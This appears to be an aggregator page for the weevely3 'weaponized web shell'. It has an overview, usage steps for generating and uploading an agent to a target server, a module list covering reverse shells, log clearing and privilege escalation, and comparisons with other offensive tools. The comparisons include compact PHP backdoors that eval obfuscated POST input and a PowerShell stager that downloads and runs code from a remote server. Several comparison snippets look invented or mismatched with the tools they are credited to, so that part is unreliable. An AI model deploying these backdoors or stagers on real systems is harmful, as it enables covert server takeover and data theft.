Convert Figma logo to code with AI

epinna logoweevely3

Weaponized web shell

3,156
604
3,156
14

Top Related Projects

3,709

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

9,431

Credentials recovery project

8,350

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C

7,394

Empire is a PowerShell and Python post-exploitation agent.

Metasploit Framework

PowerSploit - A PowerShell Post-Exploitation Framework

Quick Overview

Weevely3 is a web shell designed for post-exploitation purposes, providing a powerful interface for server administration and penetration testing. It generates PHP agents that can be used to maintain access to compromised web servers, offering a wide range of features for remote system management and security assessment.

Pros

  • Stealthy and difficult to detect due to its obfuscated PHP code
  • Extensive set of modules for various post-exploitation tasks
  • Supports multiple communication channels (HTTP/HTTPS)
  • Customizable and extensible through user-defined modules

Cons

  • Potentially harmful if misused or accessed by unauthorized parties
  • Requires PHP to be installed on the target server
  • May be flagged by antivirus software or intrusion detection systems
  • Ethical concerns regarding its use in unauthorized penetration testing

Getting Started

  1. Clone the repository:

    git clone https://github.com/epinna/weevely3.git
    
  2. Install dependencies:

    cd weevely3
    pip install -r requirements.txt
    
  3. Generate a PHP agent:

    ./weevely.py generate <password> <path>
    
  4. Upload the generated PHP file to the target server

  5. Connect to the agent:

    ./weevely.py <URL> <password>
    

Note: Use this tool responsibly and only on systems you have explicit permission to test.

Competitor Comparisons

3,709

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Pros of Unicorn

  • Simpler to use, focusing on payload generation for various attack vectors
  • Supports multiple payload types (PowerShell, HTA, etc.)
  • Actively maintained with regular updates

Cons of Unicorn

  • Less versatile compared to Weevely3's full-featured web shell capabilities
  • Limited to payload generation, lacking post-exploitation features
  • Requires additional tools for deployment and execution

Code Comparison

Unicorn (payload generation):

# generate payload
payload = generate_payload(payload_type)
print("Payload generated: " + payload)

Weevely3 (web shell interaction):

# execute command on target
cmd = "ls -la"
output = session.run(cmd)
print("Command output: " + output)

While Unicorn focuses on generating payloads for initial access, Weevely3 provides a more comprehensive web shell for post-exploitation activities. Unicorn's simplicity makes it easier to use for specific payload generation tasks, but Weevely3 offers more advanced features for maintaining access and interacting with compromised systems. The choice between the two depends on the specific requirements of the penetration testing or red team engagement.

9,431

Credentials recovery project

Pros of LaZagne

  • Focused on password recovery from various applications and systems
  • Supports multiple operating systems (Windows, Linux, macOS)
  • Actively maintained with regular updates

Cons of LaZagne

  • Limited to password recovery, lacks broader post-exploitation capabilities
  • Does not provide a remote access or command execution framework
  • May trigger antivirus alerts due to its nature

Code Comparison

LaZagne (Python):

def extract_from_file(file_path, password=None):
    try:
        archive = pyzipper.AESZipFile(file_path)
        if password:
            archive.setpassword(password.encode())
        return archive.extractall()
    except:
        return False

Weevely3 (Python):

def generate(password, obfuscator = 'obfuscator_none'):
    obfuscator_template = Template(obfuscator)
    obfuscated = obfuscator_template.render(
        password = password
    )
    return obfuscated

While both projects are written in Python, LaZagne focuses on password extraction functions, whereas Weevely3 emphasizes obfuscation and remote access capabilities. LaZagne's code snippet demonstrates its password extraction functionality, while Weevely3's code shows its focus on generating obfuscated payloads for remote access.

8,350

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C

Pros of Pupy

  • Multi-platform support (Windows, Linux, macOS, Android)
  • Extensive set of built-in modules for various tasks
  • Supports multiple communication protocols (HTTP, HTTPS, DNS, TCP, UDP)

Cons of Pupy

  • Larger codebase and more complex setup
  • Potentially higher detection rate due to its comprehensive features
  • Requires more resources to run effectively

Code Comparison

Weevely3 (PHP-based backdoor):

<?php
$k="e3748a13bc";
$kh="4821d";
$kf="08a7";
$p="eSnmiUjRMve423Gw";

Pupy (Python-based RAT):

class PupyPayloadModule(PayloadModule):
    dependencies = ['pupyimporter', 'pupy']
    arg_subparser = 'py'
    compatible_systems = ['windows', 'linux', 'darwin', 'android']

Summary

Weevely3 is a lightweight PHP-based web shell, while Pupy is a more comprehensive Python-based remote administration tool. Weevely3 focuses on web server exploitation, whereas Pupy offers broader functionality across multiple platforms. Pupy provides more features but requires more setup and resources, while Weevely3 is simpler but limited to web environments. The choice between them depends on the specific use case and target environment.

7,394

Empire is a PowerShell and Python post-exploitation agent.

Pros of Empire

  • More comprehensive post-exploitation framework with a wider range of modules and capabilities
  • Active development and community support
  • Better suited for large-scale penetration testing and red team operations

Cons of Empire

  • Larger footprint and potentially easier to detect by security solutions
  • Steeper learning curve due to its extensive feature set
  • Requires more setup and configuration compared to Weevely3

Code Comparison

Empire (PowerShell stager):

$wc=New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.Headers.Add('User-Agent',$u);$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX $wc.DownloadString('http://empire.server/launcher');

Weevely3 (PHP backdoor):

<?php
$k="e3748a13bc";
$kh="0f6";
$kf="4d87";
$p="H3gGW0rXDkfks9d";
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}
@eval(x(base64_decode(preg_replace(array("/_/","/-/"),array("/","="),$_POST["k"])),$k));
?>

Both projects serve as post-exploitation tools, but Empire focuses on PowerShell-based payloads for Windows environments, while Weevely3 utilizes PHP backdoors for web server compromises. Empire's code is more complex and feature-rich, while Weevely3's code is more compact and stealthy.

Metasploit Framework

Pros of Metasploit-framework

  • Extensive library of exploits and modules
  • Active community and regular updates
  • Comprehensive documentation and support

Cons of Metasploit-framework

  • Larger footprint and resource requirements
  • Steeper learning curve for beginners
  • More likely to be detected by antivirus software

Code Comparison

Weevely3:

from core.terminal import Terminal
from core.sessions import SessionURL, SessionFile
from core.log import log
from core.config import server_path, rcfile

Metasploit-framework:

require 'msf/core'
require 'rex'
require 'msf/base'
require 'msf/ui'
require 'msf/base/simple'

Summary

Metasploit-framework is a more comprehensive and widely-used penetration testing tool with a vast array of exploits and modules. It offers extensive documentation and community support but requires more resources and has a steeper learning curve. Weevely3, on the other hand, is a lightweight PHP webshell that focuses on stealth and minimal footprint, making it less likely to be detected. While Metasploit-framework is written in Ruby and has a more complex structure, Weevely3 is written in Python and has a simpler codebase, potentially making it easier for some users to customize and extend.

PowerSploit - A PowerShell Post-Exploitation Framework

Pros of PowerSploit

  • More comprehensive toolkit with a wider range of post-exploitation modules
  • Native integration with PowerShell, leveraging built-in Windows features
  • Active community and regular updates

Cons of PowerSploit

  • Limited to Windows environments
  • Potentially easier to detect due to PowerShell's increased monitoring in enterprise environments
  • Requires PowerShell execution policy adjustments on target systems

Code Comparison

Weevely3 (PHP-based backdoor):

<?php
$k="e45e329feb5d925b"; 
for($i=0;$i<strlen($k);$i++)
    $k[$i] = chr(ord($k[$i])^ord("x"));
@eval(gzuncompress(base64_decode(strtr($_POST["z"], "-_", "+/"))));
?>

PowerSploit (PowerShell-based command execution):

$EncodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($ScriptBlock))
powershell.exe -EncodedCommand $EncodedCommand

Both repositories focus on post-exploitation techniques, but Weevely3 is designed for web server compromise using PHP, while PowerSploit targets Windows systems using PowerShell. Weevely3 offers a stealthier approach with its tiny PHP backdoor, while PowerSploit provides a more extensive set of tools for Windows environments. The choice between them depends on the target system and specific requirements of the engagement.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

Weevely

Build Status

Name

Weevely - Weaponized web shell

Usage

weevely generate <password> <path>
weevely <URL> <password> [cmd]

Description

Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime.

Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks, maintain access, provide situational awareness, elevate privileges, and spread into the target network.

Read the Install page to install weevely and its dependencies.

Read the Getting Started page to generate an agent and connect to it.

Browse the Wiki to read examples and use cases.

Features

  • Shell access to the target
  • SQL console pivoting on the target
  • HTTP/HTTPS proxy to browse through the target
  • Upload and download files
  • Spawn reverse and direct TCP shells
  • Audit remote target security
  • Port scan pivoting on target
  • Mount the remote filesystem
  • Bruteforce SQL accounts pivoting on the target

Agent

The agent is a small, polymorphic PHP script hardly detected by AV and the communication protocol is obfuscated within HTTP requests.

Modules

ModuleDescription
:audit_filesystemAudit the file system for weak permissions.
:audit_suidsgidFind files with SUID or SGID flags.
:audit_disablefunctionbypassBypass disable_function restrictions with mod_cgi and .htaccess.
:audit_etcpasswdRead /etc/passwd with different techniques.
:audit_phpconfAudit PHP configuration.
:shell_shExecute shell commands.
:shell_sshExecute shell commands through SSH.
:shell_suExecute commands with su.
:shell_phpExecute PHP commands.
:system_extensionsCollect PHP and webserver extension list.
:system_infoCollect system information.
:system_procsList running processes.
:backdoor_reversetcpExecute a reverse TCP shell.
:backdoor_tcpSpawn a shell on a TCP port.
:bruteforce_sqlBruteforce SQL database.
:file_gzipCompress or expand gzip files.
:file_clearlogRemove string from a file.
:file_checkGet attributes and permissions of a file.
:file_uploadUpload file to remote filesystem.
:file_webdownloadDownload an URL.
:file_tarCompress or expand tar archives.
:file_downloadDownload file from remote filesystem.
:file_bzip2Compress or expand bzip2 files.
:file_editEdit remote file on a local editor.
:file_grepPrint lines matching a pattern in multiple files.
:file_lsList directory content.
:file_cpCopy single file.
:file_rmRemove remote file.
:file_upload2webUpload file automatically to a web folder and get corresponding URL.
:file_zipCompress or expand zip files.
:file_touchChange file timestamp.
:file_findFind files with given names and attributes.
:file_mountMount remote filesystem using HTTPfs.
:file_enumCheck existence and permissions of a list of paths.
:file_readRead remote file from the remote filesystem.
:file_cdChange current working directory.
:sql_consoleExecute SQL query or run console.
:sql_dumpMulti dbms mysqldump replacement.
:net_mailSend mail.
:net_phpproxyInstall PHP proxy on the target.
:net_curlPerform a curl-like HTTP request.
:net_proxyRun local proxy to pivot HTTP/HTTPS browsing through the target.
:net_scanTCP Port scan.
:net_ifconfigGet network interfaces addresses.

Development

Weevely is easily extendible to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff.